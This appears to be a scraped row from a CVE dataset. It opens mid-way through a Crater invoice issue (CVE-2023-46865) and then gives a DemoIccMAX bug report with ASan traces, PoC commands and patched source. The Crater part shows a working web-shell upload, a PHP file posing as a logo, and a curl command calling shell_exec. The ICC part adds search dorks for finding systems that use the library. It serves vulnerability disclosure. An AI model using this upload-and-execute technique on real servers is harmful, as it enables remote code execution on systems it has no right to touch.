Cookie: XSRF-TOKEN=eyJpdiI6IjlmTDJpdzRNUUFCNVlObXUvbDN4c2c9PSIsInZhbHVlIjoidjJCdVlXemtlQ0NHbzFmTC93dzNxZzVhd0IrOFlYd1d6aUxCZWFJWElTd3pDTEdoTlNUT1o1S2NRMWp5cWRhckJVejhiZVArRThPbGxzSGRsVTg5QkJBY1RKdDhnOEt6MkxadHM0MGRPNkErZVRnRkJaenVXZXVrMHVlSkZMVzciLCJtYWMiOiJmMmE2ZWRkNjE4YzZmYTE5NjY1ODgxYWEzNDhkOGJlNzA1MmIxYWQyYmI3MjM2YmRiNjc2NzBmMDE2NDY3NTVhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImhXdzFQMStlL0lTdHJTekQzTjdCcHc9PSIsInZhbHVlIjoiRnRjWFd5RERVNisrOVQ3Uk94S25DTWVkK1pjZTJUclQzYWV0ZXpQUG93OEhKd0RWV01XZmQ1ZmhlTGVqeDdaSGhPY3NUeDVvTm9xSXYzTVp6anFlbWxRb3JsZlR3YURscXo1UVh5My9nbCt6Y0F2T1Vsd3dESnhsQzZjSkQvR3oiLCJtYWMiOiI3M2ZjZjM0YmZhMTAzMGQwZmVlYTVmMjczNmEyYWUwZDY2MDNmZTcyNmQxMWFhMTk4YWRlMjJiOTNjNmQzZjIxIiwidGFnIjoiIn0%3D; dnXIFPcUKrLKVUG7aQgkhpLkCDcjlGIkv70LWxmf=eyJpdiI6Ilp4VGVCT3lheVViR1FFM0dsaTZkVHc9PSIsInZhbHVlIjoiTkpHTC9Cdzg0djRPWjFESitvdndYMVhRMFpCQ2pTUHRSQnVTOTVNMWh2T1l6SDR0QThIWDhZVDlTNmpsR085ZVJLSFFWRTR6dDdrVEhncTB6NlRQUzhLbHU1ZXJHdmV5WDBsU2U0R0lEeHNzM29abDBFczNDWTBVYUtoQyt0RlJlMmhvY0M2TVdaZFRqbkJvdWd1Zzk2QUxzUzZnb3BlbDZXOUhMeDQ1RkNTeUFwTit4QndOTnEzQzVCejFDbnNPUzBoc0N4dEh3UXBrVDBBSmdFa1dib0M0MHZZS05USWlMQnVFd2VJdmJIV2lhNXJRaGp0OTc2cUZQVXhTTEgzZE9JWWk3NjkrTGRNSnR2SWVwZ25YQjdVTWsySmdaYjQzc1c2KzBYc3lXYmUva3dZanR5Y3FsaGhzbUw5b2wvTExLR3huNHhsdDhKTG9rYjYwMUlrZlNRYzZ0aGVaQWpzSG0veStGYWorNWUyYzRZQ0lzN3NOMzRKV3BnZG1mZ1RsUG8ybk9SSlBhMEEzajZqdDU3OGIzV3RUd3hoQll1WisrbytpdUVMbzUvNm0zazNyWHVDYUZEbStzVFJXd2dDU3ZYY0xvZ0hrZTRNMG1vRzRURXdXanc9PSIsIm1hYyI6IjE5OGJhMTNjM2U5YTU2M2Q4Y2ZjOTRmYWNiOTU4YTMwZmVmMjY1YWJiZjNlYzc3YjI0YzAxODgzN2Q1N2RkZDciLCJ0YWciOiIifQ%3D%3D
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
-----------------------------5545470669814198892302696268
Content-Disposition: form-data; name="company_logo"
{"name":"test.php","data":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAIAAAD8GO2jAAAAVklEQVR4nGNcPD89JF9HRVRbMF0oJF9QT1NUWzFdKTs/PljAc143k/yPi9t+X9N9qif38ePJv1/vBnyyMFiXHMwwCkbBKBgFo2AUjIJRMApGwSgYfgAAI0oXArodV7QAAAAASUVORK5CYII="}
-----------------------------5545470669814198892302696268
Content-Disposition: form-data; name="is_company_logo_removed"
false
-----------------------------5545470669814198892302696268--
```
Then
`curl -XPOST -d '1=uname -a' 'http://localhost/storage/1/test.php?0=shell_exec' --output o && cat o`
```
�PNG
▒
IHDR �▒��VIDATx�c\Linux 11f1e6093117 6.1.0-kali5-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.12-1kali2 (2023-02-23) x86_64 GNU/Linux
X�s^7�����~_�}�'���ɿ_�|�0X��0
F�(▒�`��Q0
F�(▒~#J�W�IEND�B`�
```
**Expected behavior**
Php file shouldnt be allowed to be uploaded. A whitelisting of extension should be used to prevent execution of php files.
**Please complete the following information:**
- Crater version: latest
| Post auth remote code exec as superadmin, CVE-2023-46865 | https://api.github.com/repos/crater-invoice-inc/crater/issues/1267/comments | 5 | 2023-10-13T10:08:31Z | 2023-11-08T05:58:04Z | https://github.com/crater-invoice-inc/crater/issues/1267 | 1,941,653,997 | 1,267 | 5,708 |
CVE-2023-46866 | 2023-10-30T03:15:07.783 | In International Color Consortium DemoIccMAX 79ecb74, CIccCLUT::Interp3d in IccProfLib/IccTagLut.cpp in libSampleICC.a attempts to access array elements at out-of-bounds indexes. | {
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"InternationalColorConsortium",
"DemoIccMAX"
] | ## Bug 1 - Heap Buffer Overflow in CIccCLUT::Interp3d | CVE-2023-46866
### Patch in PR https://github.com/InternationalColorConsortium/DemoIccMAX/pull/64
Severity: Reference Implementation | High
### Description
A heap buffer overflow has been identified in the CIccCLUT::Interp3d method. This vulnerability can lead to potential crashes or undefined behavior when certain conditions are met.
### Steps to Reproduce
Utilize the CIccCLUT::Interp3d method on a CIccCLUT object under conditions where m_nNumPoints * m_nOutput equals 0.
Attempt to access indices beyond the allocated size of the m_pData array.
### Debug Session
```
(lldb) fr se 5
frame #5: 0x0000000100e8c982 libIccProfLib2.2.dylib`CIccCLUT::Interp3d(this=0x0000614000000440, destPixel=0x00007ff7bfefde80, srcPixel=0x00007ff7bfefde80) const at IccTagLut.cpp:2594:27
2591 return;
2592 }
2593
-> 2594 destPixel[i] = p[n000] * dF0 + p[n001] * dF1 + p[n010] * dF2 + p[n011] * dF3 +
2595 p[n100] * dF4 + p[n101] * dF5 + p[n110] * dF6 + p[n111] * dF7;
2596 }
2597 }
(lldb) frame variable
(CIccCLUT *) this = 0x0000614000000440
(icFloatNumber *) destPixel = 0x00007ff7bfefde80
(const icFloatNumber *) srcPixel = 0x00007ff7bfefde80
(icUInt8Number) mx = '\xff'
(icUInt8Number) my = '\xff'
(icUInt8Number) mz = '\xff'
(icFloatNumber) x = 0
(icFloatNumber) y = 0
(icFloatNumber) z = 0
(icUInt32Number) ix = 0
(icUInt32Number) iy = 0
(icUInt32Number) iz = 0
(icFloatNumber) u = 0
(icFloatNumber) t = 0
(icFloatNumber) s = 0
(icFloatNumber) ns = 1
(icFloatNumber) nt = 1
(icFloatNumber) nu = 1
(icFloatNumber) dF0 = 1
(icFloatNumber) dF1 = 0
(icFloatNumber) dF2 = 0
(icFloatNumber) dF3 = 0
(icFloatNumber) dF4 = 0
(icFloatNumber) dF5 = 0
(icFloatNumber) dF6 = 0
(icFloatNumber) dF7 = 0
(icUInt32Number) maxIndex = 50331647
(icFloatNumber *) pStart = 0x00006020000002d0
(int) i = 0
(icFloatNumber *) p = 0x00006020000002d0
(lldb) dis -s $pc-32 -c 24
libIccProfLib2.2.dylib`CIccCLUT::Interp3d:
0x100e8c962 <+2978>: loopne 0x100e8c961 ; <+2977> at IccTagLut.cpp
```
### Symptoms
- The program crashes with an AddressSanitizer report indicating a heap-buffer-overflow in CIccCLUT::Interp3d.
- The value of m_nNumPoints * m_nOutput is 0, indicating that the m_pData array might not have been allocated or is of size 0.
- Attempts are made to access indices as high as 3 and potentially up to 50331647 (as indicated by the maxIndex variable).
### Potential Causes
- Improper initialization or setup of the CIccCLUT object.
- Possible errors in the copy constructor or assignment operator of CIccCLUT.
-The m_pData array might be reallocated with a different size elsewhere in the code.
-Invalid or corrupt input data affecting the CIccCLUT object's construction.
## Bug 2 - Segmentation Fault in CIccXformMatrixTRC::GetCurve | CVE-2023-46867
Severity: Reference Implementation | High
### Description
A segmentation fault (SEGV) has been identified in the CIccXformMatrixTRC::GetCurve method within the IccCmm.cpp file, specifically at line 5240. The crash appears to be due to a read memory access at the zero address, suggesting a potential null pointer dereference.
### Steps to Reproduce
Invoke the CIccXformMatrixTRC::GetCurve method with specific input that triggers the SEGV.
The exact input causing this behavior needs further investigation.
Observe the crash due to a segmentation fault.
### Crash Details
```
AddressSanitizer:DEADLYSIGNAL
=================================================================
==59095==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x000104511cd4 bp 0x7ff7bc556550 sp 0x7ff7bc556500 T0)
==59095==The signal is caused by a READ memory access.
==59095==Hint: address points to the zero page.
#0 0x104511cd4 in CIccXformMatrixTRC::GetCurve(unsigned int) const IccCmm.cpp:5240
#1 0x10451107a in CIccXformMatrixTRC::Begin() IccCmm.cpp:5100
#2 0x1045394a8 in CIccCmm::Begin(bool, bool) IccCmm.cpp:8297
#3 0x1045905a4 in CIccEvalCompare::EvaluateProfile(CIccProfile*, unsigned char, icRenderingIntent, icXformInterp, bool) IccEval.cpp:110
#4 0x104591419 in CIccEvalCompare::EvaluateProfile(char const*, unsigned char, icRenderingIntent, icXformInterp, bool) IccEval.cpp:197
#5 0x1039ae0d2 in main iccRoundTrip.cpp:168
#6 0x7ff80dee53a5 in start+0x795 (dyld:x86_64+0xfffffffffff5c3a5)
==59095==Register values:
rax = 0x0000000000000000 rbx = 0x00007ff7bc556900 rcx = 0x0000100000000000 rdx = 0x0000000000000000
rdi = 0x00007ff7bc5562c0 rsi = 0x00007ff7bc556320 rbp = 0x00007ff7bc556550 rsp = 0x00007ff7bc556500
r8 = 0x0000604000001610 r9 = 0xf3f3f300f1f1f100 r10 = 0x00007fffffffffff r11 = 0xffffffffffffff20
r12 = 0x00007ff7bc557590 r13 = 0x0000000000000000 r14 = 0x00000001039addb0 r15 = 0x00007ff7bc557710
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV IccCmm.cpp:5240 in CIccXformMatrixTRC::GetCurve(unsigned int) const
```
### Symptoms
The program crashes with an AddressSanitizer report indicating a SEGV in CIccXformMatrixTRC::GetCurve.
The memory access causing the SEGV is a read operation from address 0x000000000000, which points to the zero page.
The crash occurs specifically at line IccCmm.cpp:5240.
### Potential Causes
Dereferencing a null pointer or uninitialized pointer in the CIccXformMatrixTRC::GetCurve method.
An invalid curve index or parameter passed to the method, leading to out-of-bounds memory access.
Memory corruption elsewhere in the application affecting the behavior of the CIccXformMatrixTRC::GetCurve method.
## Bugs 3 - 6
Bug Report: Undefined Behavior in IccTagLut.cpp and IccProfileXml.cpp
Severity: Reference Implementation | High
The UndefinedBehaviorSanitizer tool has identified multiple instances of undefined behavior within the IccTagLut.cpp and IccProfileXml.cpp files.
### Bug 3 Description
File: IccTagLut.cpp
Line: 1798
Issue: Index -1 is being used to access an array of type icUInt32Number[16], which results in out-of-bounds access.
### Bug 4 Description
File: IccTagLut.cpp
Line: 1799
Issue: Index -1 is being used to access an array of type icUInt8Number[16], which results in out-of-bounds access.
### Bug 5 Description
File: IccProfileXml.cpp
Line: 128
Issue: Loading a value 2543294359 which is not a valid value for the type icPlatformSignature.
### Bug 6 Description
File: IccProfileXml.cpp
Line: 129
Issue: Loading a value 2543294359 which is not a valid value for the type icPlatformSignature.
## Bug 7 - Heap Buffer Overflow in CIccXmlArrayType::ParseText | CVE-2023-47249
Severity: Reference Implementation | High
### Description
A heap buffer overflow has been identified in the function CIccXmlArrayType::ParseText at IccUtilXml.cpp:1003:10. This function is designed to parse text into an array, with a specific instantiation for unsigned short. The buffer overflow occurs during the parsing process, specifically in a loop condition where a buffer bound check fails, leading to an out-of-bounds read.
Variables at Crash Time:
pBuf: A pointer to the buffer where parsed data is stored.
nSize: The size of the buffer (4096).
szText: A pointer to the text being parsed.
n: Counter variable, which is also 4096 at the time of the crash.
Crash Location in Code:
The crash occurs in the loop: while (*szText && n<nSize) {.
The error indicates that when n equals nSize, the loop still attempts to read *szText, which is beyond the allocated buffer.
### Steps to Reproduce
#### PoC
```
Testing % ./iccFromXML mcs/17ChanWithSpots-MVIS.xml mcs/17ChanWithSpots-MVIS.icc
```
#### Crash Details
```
mcs % ../iccFromXML 17ChanWithSpots-MVIS.xml 17ChanWithSpots-MVIS.icc
...
SUMMARY: AddressSanitizer: heap-buffer-overflow IccUtilXml.cpp:1003 in CIccXmlArrayType<unsigned short, (icTagTypeSignature)1969828150>::ParseText(unsigned short*, unsigned int, char const*)
```
## Bug 8 - Floating Point Error in iccSpecSepToTiff.cpp at line 120
Patch in PR https://github.com/InternationalColorConsortium/DemoIccMAX/pull/64
### Reproduction
```
./iccSpecSepToTiff out.tif 0 0 Overprint/17ChanData.txt 1 2 ~/Documents/2225-original.icc
```
#### Description
Arithmetic Error:
The crashing line (-> 0x100006251 <+1585>: idivl 0x230(%rbx)) suggests a division operation.
The corresponding source code line (120 n = (end-start)/step + 1;) is performing a division operation. If step is zero, this operation will cause a division by zero error, leading to an FPE.
### Bug 9 SUMMARY: AddressSanitizer: heap-buffer-overflow IccUtilXml.cpp:1062 in CIccXmlArrayType<float, (icTagTypeSignature)1717793824>::ParseText(float*, unsigned int, char const*)
```
mcs % lldb -- ../../Build/Tools/IccFromXml/iccFromXML 18ChanWithSpots-MVIS.xml 18ChanWithSpots-MVIS.icc
(lldb) target create "../../Build/Tools/IccFromXml/iccFromXML"
Current executable set to 'DemoIccMAX-master/Build/Tools/IccFromXml/iccFromXML' (x86_64).
(lldb) settings set -- target.run-args "18ChanWithSpots-MVIS.xml" "18ChanWithSpots-MVIS.icc"
(lldb) r
Process 79070 launched: 'DemoIccMAX-master/Build/Tools/IccFromXml/iccFromXML' (x86_64)
=================================================================
==79070==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x00010040340c at pc 0x000100990dc5 bp 0x7ff7bfefac70 sp 0x7ff7bfefac68
READ of size 1 at 0x00010040340c thread T0
#0 0x100990dc4 in CIccXmlArrayType<float, (icTagTypeSignature)1717793824>::ParseText(float*, unsigned int, char const*) IccUtilXml.cpp:1062
#1 0x100992462 in CIccXmlArrayType<float, (icTagTypeSignature)1717793824>::ParseTextArrayNum(char const*, unsigned int, std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char>>&) IccUtilXml.cpp:818
#2 0x10094e784 in icCLutFromXml(_xmlNode*, int, int, icConvertType, std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char>>&) IccTagXml.cpp:3544
#3 0x1008b46ff in CIccMpeXmlExtCLUT::ParseXml(_xmlNode*, std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char>>&) IccMpeXml.cpp:1935
#4 0x1008bf990 in CIccMpeXmlCalculator::ParseImport(_xmlNode*, std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char>>, std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char>>&) IccMpeXml.cpp:2577
#5 0x1008d170f in CIccMpeXmlCalculator::ParseXml(_xmlNode*, std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char>>&) IccMpeXml.cpp:3094
#6 0x10095561d in CIccTagXmlMultiProcessElement::ParseElement(_xmlNode*, std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char>>&) IccTagXml.cpp:4081
#7 0x1009567b9 in CIccTagXmlMultiProcessElement::ParseXml(_xmlNode*, std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char>>&) IccTagXml.cpp:4141
#8 0x10090b119 in CIccProfileXml::ParseTag(_xmlNode*, std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char>>&) IccProfileXml.cpp:711
#9 0x10090c924 in CIccProfileXml::ParseXml(_xmlNode*, std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char>>&) IccProfileXml.cpp:820
#10 0x10090cd5b in CIccProfileXml::LoadXml(char const*, char const*, std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char>>*) IccProfileXml.cpp:877
#11 0x10000406c in main IccFromXml.cpp:68
#12 0x7ff816e9f365 in start+0x795 (dyld:x86_64+0xfffffffffff5c365)
0x00010040340c is located 0 bytes after 2259980-byte region [0x0001001db800,0x00010040340c)
allocated by thread T0 here:
#0 0x101743a20 in wrap_malloc+0xa0 (libclang_rt.asan_osx_dynamic.dylib:x86_64h+0xdca20)
#1 0x10094d4f1 in icCLutFromXml(_xmlNode*, int, int, icConvertType, std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char>>&) IccTagXml.cpp:3439
#2 0x1008b46ff in CIccMpeXmlExtCLUT::ParseXml(_xmlNode*, std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char>>&) IccMpeXml.cpp:1935
#3 0x1008bf990 in CIccMpeXmlCalculator::ParseImport(_xmlNode*, std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char>>, std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char>>&) IccMpeXml.cpp:2577
#4 0x1008d170f in CIccMpeXmlCalculator::ParseXml(_xmlNode*, std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char>>&) IccMpeXml.cpp:3094
#5 0x10095561d in CIccTagXmlMultiProcessElement::ParseElement(_xmlNode*, std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char>>&) IccTagXml.cpp:4081
#6 0x1009567b9 in CIccTagXmlMultiProcessElement::ParseXml(_xmlNode*, std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char>>&) IccTagXml.cpp:4141
#7 0x10090b119 in CIccProfileXml::ParseTag(_xmlNode*, std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char>>&) IccProfileXml.cpp:711
#8 0x10090c924 in CIccProfileXml::ParseXml(_xmlNode*, std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char>>&) IccProfileXml.cpp:820
#9 0x10090cd5b in CIccProfileXml::LoadXml(char const*, char const*, std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char>>*) IccProfileXml.cpp:877
#10 0x10000406c in main IccFromXml.cpp:68
#11 0x7ff816e9f365 in start+0x795 (dyld:x86_64+0xfffffffffff5c365)
SUMMARY: AddressSanitizer: heap-buffer-overflow IccUtilXml.cpp:1062 in CIccXmlArrayType<float, (icTagTypeSignature)1717793824>::ParseText(float*, unsigned int, char const*)
Shadow bytes around the buggy address:
0x000100403180: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x000100403200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x000100403280: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x000100403300: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x000100403380: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x000100403400: 00[04]fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x000100403480: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x000100403500: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x000100403580: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x000100403600: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x000100403680: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==79070==ABORTING
```
## Clang Static Analyzer Report
#### Logic error
Assigned value is garbage or undefined 2
Called C++ object pointer is null 3
Dereference of null pointer 13
Garbage return value 1
Result of operation is garbage or undefined 4
Uninitialized argument value 6
Unix API 4
#### Memory error
Bad deallocator 7
Double free 2
Memory leak 10
Use-after-free 8
#### Unix API
Allocator sizeof operand mismatch 1
#### Unused code
Dead assignment 28
Dead increment 3
Dead initialization 20
Dead nested assignment 1
## Knowledgebase
https://bugs.chromium.org/p/project-zero/issues/detail?id=2225
https://bugs.chromium.org/p/project-zero/issues/detail?id=2226
https://srd.cx/cve-2022-26730/
https://srd.cx/cve-2023-32443/
Clang Static Analyzer Report [https://xss.cx/2023/10/29/src/demomax-clang-static-analysis/](https://xss.cx/2023/10/29/src/demomax-clang-static-analysis/)
Pull Request https://github.com/InternationalColorConsortium/DemoIccMAX/pull/53
icFixXml function [CVE-2023-46602]
CIccPRMG::GetChroma function [CVE-2023-46603]
## Debugging Aids
#### Build
```
cmake -DCMAKE_INSTALL_PREFIX=$HOME/.local \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_CXX_FLAGS="-g -fsanitize=address -fno-omit-frame-pointer -Wall -std=c++17 -fprofile-instr-generate -fcoverage-mapping" \
../Build/Cmake
make
```
#### Other Overflow Examples
```
DemoIccMAX-master/Build/Tools/IccFromXml/iccFromXml DemoIccMAX-master/Testing/CMYK-3DLUTs/CMYK-3DLUTs2.xml DemoIccMAX-master/Testing/CMYK-3DLUTs/CMYK-3DLUTs2.icc
DemoIccMAX-master/Build/Tools/IccFromXml/iccFromXml DemoIccMAX-master/Testing/ICS/Rec2100HlgFull-Part1.xml DemoIccMAX-master/Testing/ICS/Rec2100HlgFull-Part1.icc
DemoIccMAX-master/Build/Tools/IccFromXml/iccFromXml DemoIccMAX-master/Testing/ICS/Rec2100HlgFull-Part2.xml DemoIccMAX-master/Testing/ICS/Rec2100HlgFull-Part2.icc
DemoIccMAX-master/Build/Tools/IccFromXml/iccFromXml DemoIccMAX-master/Testing/Overprint/17ChanPart1.xml DemoIccMAX-master/Testing/Overprint/17ChanPart1.icc
```
### IccEval.cpp at Line 139 - 172
```
// * Modified by @h02332 | David Hoyt
// determine granularity
if (!nGran) {
CIccTag* tag = pProfile->FindTag(icSigAToB0Tag + (nIntent == icAbsoluteColorimetric ? icRelativeColorimetric : nIntent));
if (!tag) {
std::cerr << "Tag is nullptr!" << std::endl;
return icCmmStatColorNotFound;
}
try {
if (dynamic_cast<CIccTagLut16*>(tag) != nullptr) {
std::cerr << "Unexpected object type detected!" << std::endl;
// If there's a method to get more details about the tag, use it. If not, skip this line.
// std::cerr << "Tag details: " << tag->GetDetails() << std::endl;
std::cerr << "Actual object type: " << typeid(*tag).name() << std::endl;
} else {
std::cerr << "Tag is not of expected type!" << std::endl;
std::cerr << "Actual object type: " << typeid(*tag).name() << std::endl;
}
} catch (const std::bad_typeid& e) {
std::cerr << "Caught bad_typeid exception: " << e.what() << std::endl;
return icCmmStatBadLutType;
}
CIccTagLutAtoB* pTag = dynamic_cast<CIccTagLutAtoB*>(tag);
// Check if pTag is valid. If it's not, we set nGran to default value and skip further checks.
if (!pTag || ndim == 3) {
nGran = 33;
} else {
CIccCLUT* pClut = pTag->GetCLUT();
nGran = pClut ? (pClut->GridPoints() + 2) : 33;
}
}
```
### IccTagLut.cpp at Line 2523 - 2666
```
/**
******************************************************************************
* Name: CIccCLUT::Interp3d
*
* Purpose: Three dimensional interpolation function
*
* Args:
* Pixel = Pixel value to be found in the CLUT. Also used to store the result.
* Modified by @h02332 | David Hoyt
*******************************************************************************
*/
void CIccCLUT::Interp3d(icFloatNumber *destPixel, const icFloatNumber *srcPixel) const
{
icUInt8Number mx = m_MaxGridPoint[0];
icUInt8Number my = m_MaxGridPoint[1];
icUInt8Number mz = m_MaxGridPoint[2];
icFloatNumber x = UnitClip(srcPixel[0]) * mx;
icFloatNumber y = UnitClip(srcPixel[1]) * my;
icFloatNumber z = UnitClip(srcPixel[2]) * mz;
icUInt32Number ix = (icUInt32Number)x;
icUInt32Number iy = (icUInt32Number)y;
icUInt32Number iz = (icUInt32Number)z;
icFloatNumber u = x - ix;
icFloatNumber t = y - iy;
icFloatNumber s = z - iz;
if (ix == mx) {
ix--;
u = 1.0;
}
if (iy == my) {
iy--;
t = 1.0;
}
if (iz == mz) {
iz--;
s = 1.0;
}
icFloatNumber ns = (icFloatNumber)(1.0 - s);
icFloatNumber nt = (icFloatNumber)(1.0 - t);
icFloatNumber nu = (icFloatNumber)(1.0 - u);
icUInt32Number maxIndex = (mx + 1) * (my + 1) * (mz + 1) * m_nOutput - 1;
icFloatNumber dF0 = ns * nt * nu;
icFloatNumber dF1 = ns * nt * u;
icFloatNumber dF2 = ns * t * nu;
icFloatNumber dF3 = ns * t * u;
icFloatNumber dF4 = s * nt * nu;
icFloatNumber dF5 = s * nt * u;
icFloatNumber dF6 = s * t * nu;
icFloatNumber dF7 = s * t * u;
icFloatNumber *pStart = &m_pData[ix * n001 + iy * n010 + iz * n100];
for (int i = 0; i < m_nOutput; i++) {
icFloatNumber *p = pStart + i;
// Logging statements before the problematic line:
std::cout << "Pointer p: " << p << std::endl;
std::cout << "n000: " << n000 << ", Value: " << p[n000] << std::endl;
std::cout << "n001: " << n001 << ", Value: " << p[n001] << std::endl;
std::cout << "n010: " << n010 << ", Value: " << p[n010] << std::endl;
std::cout << "n011: " << n011 << ", Value: " << p[n011] << std::endl;
std::cout << "n100: " << n100 << ", Value: " << p[n100] << std::endl;
std::cout << "n101: " << n101 << ", Value: " << p[n101] << std::endl;
std::cout << "n110: " << n110 << ", Value: " << p[n110] << std::endl;
std::cout << "n111: " << n111 << ", Value: " << p[n111] << std::endl;
// ... Similarly for other indices ...
// Log the maximum possible index and the current index
std::cout << "Max Index: " << maxIndex << ", Current Index: " << (p + n111 - m_pData) << std::endl;
if (p + n111 > m_pData + maxIndex) {
std::cerr << "Potential overflow detected. Aborting." << std::endl;
return;
}
// Try to safely access the value at p[n000]
if (p + n000 > m_pData + maxIndex) {
std::cerr << "Potential overflow detected. Aborting." << std::endl;
return;
} else {
std::cout << "Value at (p + n000): " << p[n000] << std::endl;
}
if ((p + n001) >= (m_pData + maxIndex)) {
std::cerr << "Out-of-bounds access detected for n001." << std::endl;
}
if ((p + n010) >= (m_pData + maxIndex)) {
std::cerr << "Out-of-bounds access detected for n010." << std::endl;
}
if ((p + n011) >= (m_pData + maxIndex)) {
std::cerr << "Out-of-bounds access detected for n011." << std::endl;
}
if ((p + n100) >= (m_pData + maxIndex)) {
std::cerr << "Out-of-bounds access detected for n100." << std::endl;
}
if ((p + n101) >= (m_pData + maxIndex)) {
std::cerr << "Out-of-bounds access detected for n101." << std::endl;
}
if ((p + n110) >= (m_pData + maxIndex)) {
std::cerr << "Out-of-bounds access detected for n110." << std::endl;
}
if ((p + n111) >= (m_pData + maxIndex)) {
std::cerr << "Out-of-bounds access detected for n111." << std::endl;
}
// Add logging statements before the problematic line:
std::cout << "n000: " << n000 << std::endl;
std::cout << "n001: " << n001 << std::endl;
std::cout << "n010: " << n010 << std::endl;
std::cout << "n011: " << n011 << std::endl;
std::cout << "n100: " << n100 << std::endl;
std::cout << "n101: " << n101 << std::endl;
std::cout << "n110: " << n110 << std::endl;
std::cout << "n111: " << n111 << std::endl;
std::cout << "ix: " << ix << std::endl;
std::cout << "iy: " << iy << std::endl;
std::cout << "iz: " << iz << std::endl;
std::cout << "n001: " << n001 << std::endl;
std::cout << "n010: " << n010 << std::endl;
std::cout << "n100: " << n100 << std::endl;
std::cout << "pStart address: " << pStart << std::endl;
// Before the problematic line
std::cout << "Pointer p: " << p << std::endl;
std::cout << "n000: " << n000 << std::endl;
std::cout << "Address (p + n000): " << p + n000 << std::endl;
destPixel[i] = p[n000] * dF0 + p[n001] * dF1 + p[n010] * dF2 + p[n011] * dF3 +
p[n100] * dF4 + p[n101] * dF5 + p[n110] * dF6 + p[n111] * dF7;
}
}
```
## IccUtilXml.cpp at Line 421 - 491
```
// * Modified by @h02332 | David Hoyt
class CIccDumpXmlCLUT : public IIccCLUTExec
{
public:
CIccDumpXmlCLUT(std::string *xml, icConvertType nType, std::string blanks, icUInt16Number nSamples, icUInt8Number nPixelsPerRow)
{
m_xml = xml;
m_nType = nType;
m_blanks = blanks;
m_nSamples = nSamples;
m_nPixelsPerRow = nPixelsPerRow;
m_nCurPixel = 0;
}
virtual void PixelOp(icFloatNumber* pGridAdr, icFloatNumber* pData)
{
if (!pData) {
std::cerr << "Error: pData is nullptr." << std::endl;
return; // Early return if pData is null
}
int i;
char buf[128];
if (!(m_nCurPixel % m_nPixelsPerRow))
*m_xml += m_blanks;
switch(m_nType) {
case icConvert8Bit:
for (i=0; i<m_nSamples; i++) {
if (&pData[i] == nullptr) { // Check if accessing pData[i] is valid
std::cerr << "Error: pData[i] is out of bounds." << std::endl;
return;
}
sprintf(buf, " %3d", (icUInt8Number)(pData[i]*255.0 + 0.5));
*m_xml += buf;
}
break;
case icConvert16Bit:
for (i=0; i<m_nSamples; i++) {
sprintf(buf, " %5d", (icUInt16Number)(pData[i]*65535.0 + 0.5));
*m_xml += buf;
}
break;
case icConvertFloat:
default:
for (i=0; i<m_nSamples; i++) {
sprintf(buf, " %13.8f", pData[i]);
*m_xml += buf;
}
break;
}
m_nCurPixel++;
if (!(m_nCurPixel % m_nPixelsPerRow)) {
*m_xml += "\n";
}
}
void Finish()
{
if (m_nCurPixel % m_nPixelsPerRow) {
*m_xml += "\n";
}
}
std::string *m_xml;
icConvertType m_nType;
std::string m_blanks;
icUInt16Number m_nSamples;
icUInt8Number m_nPixelsPerRow;
icUInt32Number m_nCurPixel;
};
```
## DORKs for IccXmlLib or IccProfLib
```
intext:"libiccxml" OR intext:"iccproflib" "International Color Consortium" filetype:pdf OR filetype:txt OR filetype:md OR filetype:xml OR filetype:txt OR filetype:cpp
"Libiccxml" OR "iccproflib"
"iccxmllib" OR "iccproflib"
